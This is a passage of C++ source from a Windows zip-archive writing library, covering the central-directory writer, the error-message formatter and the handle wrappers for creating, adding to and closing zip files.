2677 | if (!oseek(zfi.off-ooffset)) return ZR_SEEK;
2678 | if ((r = putlocal(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE;
2679 | if (!oseek(writ)) return ZR_SEEK;
2680 | }
2681 | else
2682 | { // (4) ... or put an updated header at the end
2683 | if (zfi.how != (ush) method) return ZR_NOCHANGE;
2684 | if (method==STORE && !first_header_has_size_right) return ZR_NOCHANGE;
2685 | if ((r = putextended(&zfi, swrite,this)) != ZE_OK) return ZR_WRITE;
2686 | writ += 16L;
2687 | zfi.flg = zfi.lflg; // if flg modified by inflate, for the central index
2688 | }
2689 | if (oerr!=ZR_OK) return oerr;
2690 |
2691 | // Keep a copy of the zipfileinfo, for our end-of-zip directory
2692 | char *cextra = new char[zfi.cext]; memcpy(cextra,zfi.cextra,zfi.cext); zfi.cextra=cextra;
2693 | TZipFileInfo *pzfi = new TZipFileInfo; memcpy(pzfi,&zfi,sizeof(zfi));
2694 | if (zfis==NULL) zfis=pzfi;
2695 | else {TZipFileInfo *z=zfis; while (z->nxt!=NULL) z=z->nxt; z->nxt=pzfi;}
2696 | return ZR_OK;
2697 | }
2698 |
2699 | ZRESULT TZip::AddCentral()
2700 | { // write central directory
2701 | int numentries = 0;
2702 | ulg pos_at_start_of_central = writ;
2703 | //ulg tot_unc_size=0, tot_compressed_size=0;
2704 | bool okay=true;
2705 | for (TZipFileInfo *zfi=zfis; zfi!=NULL; )
2706 | { if (okay)
2707 | { int res = putcentral(zfi, swrite,this);
2708 | if (res!=ZE_OK) okay=false;
2709 | }
2710 | writ += 4 + CENHEAD + (unsigned int)zfi->nam + (unsigned int)zfi->cext + (unsigned int)zfi->com;
2711 | //tot_unc_size += zfi->len;
2712 | //tot_compressed_size += zfi->siz;
2713 | numentries++;
2714 | //
2715 | TZipFileInfo *zfinext = zfi->nxt;
2716 | if (zfi->cextra!=0) delete[] zfi->cextra;
2717 | delete zfi;
2718 | zfi = zfinext;
2719 | }
2720 | ulg center_size = writ - pos_at_start_of_central;
2721 | if (okay)
2722 | { int res = putend(numentries, center_size, pos_at_start_of_central+ooffset, 0, NULL, swrite,this);
2723 | if (res!=ZE_OK) okay=false;
2724 | writ += 4 + ENDHEAD + 0;
2725 | }
2726 | if (!okay) return ZR_WRITE;
2727 | return ZR_OK;
2728 | }
2729 |
2730 |
2731 |
2732 |
2733 |
2734 | ZRESULT lasterrorZ=ZR_OK;
2735 |
2736 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len)
2737 | { if (code==ZR_RECENT) code=lasterrorZ;
2738 | const char *msg="unknown zip result code";
2739 | switch (code)
2740 | { case ZR_OK: msg="Success"; break;
2741 | case ZR_NODUPH: msg="Culdn't duplicate handle"; break;
2742 | case ZR_NOFILE: msg="Couldn't create/open file"; break;
2743 | case ZR_NOALLOC: msg="Failed to allocate memory"; break;
2744 | case ZR_WRITE: msg="Error writing to file"; break;
2745 | case ZR_NOTFOUND: msg="File not found in the zipfile"; break;
2746 | case ZR_MORE: msg="Still more data to unzip"; break;
2747 | case ZR_CORRUPT: msg="Zipfile is corrupt or not a zipfile"; break;
2748 | case ZR_READ: msg="Error reading file"; break;
2749 | case ZR_ARGS: msg="Caller: faulty arguments"; break;
2750 | case ZR_PARTIALUNZ: msg="Caller: the file had already been partially unzipped"; break;
2751 | case ZR_NOTMMAP: msg="Caller: can only get memory of a memory zipfile"; break;
2752 | case ZR_MEMSIZE: msg="Caller: not enough space allocated for memory zipfile"; break;
2753 | case ZR_FAILED: msg="Caller: there was a previous error"; break;
2754 | case ZR_ENDED: msg="Caller: additions to the zip have already been ended"; break;
2755 | case ZR_ZMODE: msg="Caller: mixing creation and opening of zip"; break;
2756 | case ZR_NOTINITED: msg="Zip-bug: internal initialisation not completed"; break;
2757 | case ZR_SEEK: msg="Zip-bug: trying to seek the unseekable"; break;
2758 | case ZR_MISSIZE: msg="Zip-bug: the anticipated size turned out wrong"; break;
2759 | case ZR_NOCHANGE: msg="Zip-bug: tried to change mind, but not allowed"; break;
2760 | case ZR_FLATE: msg="Zip-bug: an internal error during flation"; break;
2761 | }
2762 | unsigned int mlen=(unsigned int)strlen(msg);
2763 | if (buf==0 || len==0) return mlen;
2764 | unsigned int n=mlen; if (n+1>len) n=len-1;
2765 | strncpy(buf,msg,n); buf[n]=0;
2766 | return mlen;
2767 | }
2768 |
2769 |
2770 |
2771 | typedef struct
2772 | { DWORD flag;
2773 | TZip *zip;
2774 | } TZipHandleData;
2775 |
2776 |
2777 | HZIP CreateZipInternal(void *z,unsigned int len,DWORD flags, const char *password)
2778 | { TZip *zip = new TZip(password);
2779 | lasterrorZ = zip->Create(z,len,flags);
2780 | if (lasterrorZ!=ZR_OK) {delete zip; return 0;}
2781 | TZipHandleData *han = new TZipHandleData;
2782 | han->flag=2; han->zip=zip; return (HZIP)han;
2783 | }
2784 | HZIP CreateZipHandle(HANDLE h, const char *password) {return CreateZipInternal(h,0,ZIP_HANDLE,password);}
2785 | HZIP CreateZip(const TCHAR *fn, const char *password) {return CreateZipInternal((void*)fn,0,ZIP_FILENAME,password);}
2786 | HZIP CreateZip(void *z,unsigned int len, const char *password) {return CreateZipInternal(z,len,ZIP_MEMORY,password);}
2787 |
2788 |
2789 | ZRESULT ZipAddInternal(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len, DWORD flags)
2790 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2791 | TZipHandleData *han = (TZipHandleData*)hz;
2792 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2793 | TZip *zip = han->zip;
2794 | lasterrorZ = zip->Add(dstzn,src,len,flags);
2795 | return lasterrorZ;
2796 | }
2797 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn) {return ZipAddInternal(hz,dstzn,(void*)fn,0,ZIP_FILENAME);}
2798 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len) {return ZipAddInternal(hz,dstzn,src,len,ZIP_MEMORY);}
2799 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h) {return ZipAddInternal(hz,dstzn,h,0,ZIP_HANDLE);}
2800 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len) {return ZipAddInternal(hz,dstzn,h,len,ZIP_HANDLE);}
2801 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn) {return ZipAddInternal(hz,dstzn,0,0,ZIP_FOLDER);}
2802 |
2803 |
2804 |
2805 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len)
2806 | { if (hz==0) {if (buf!=0) *buf=0; if (len!=0) *len=0; lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2807 | TZipHandleData *han = (TZipHandleData*)hz;
2808 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2809 | TZip *zip = han->zip;
2810 | lasterrorZ = zip->GetMemory(buf,len);
2811 | return lasterrorZ;
2812 | }
2813 |
2814 | ZRESULT CloseZipZ(HZIP hz)
2815 | { if (hz==0) {lasterrorZ=ZR_ARGS;return ZR_ARGS;}
2816 | TZipHandleData *han = (TZipHandleData*)hz;
2817 | if (han->flag!=2) {lasterrorZ=ZR_ZMODE;return ZR_ZMODE;}
2818 | TZip *zip = han->zip;
2819 | lasterrorZ = zip->Close();
2820 | delete zip;
2821 | delete han;
2822 | return lasterrorZ;
2823 | }
2824 |
2825 | bool IsZipHandleZ(HZIP hz)
2826 | { if (hz==0) return false;
2827 | TZipHandleData *han = (TZipHandleData*)hz;
2828 | return (han->flag==2);
2829 | }
2830 |
2831 |
--------------------------------------------------------------------------------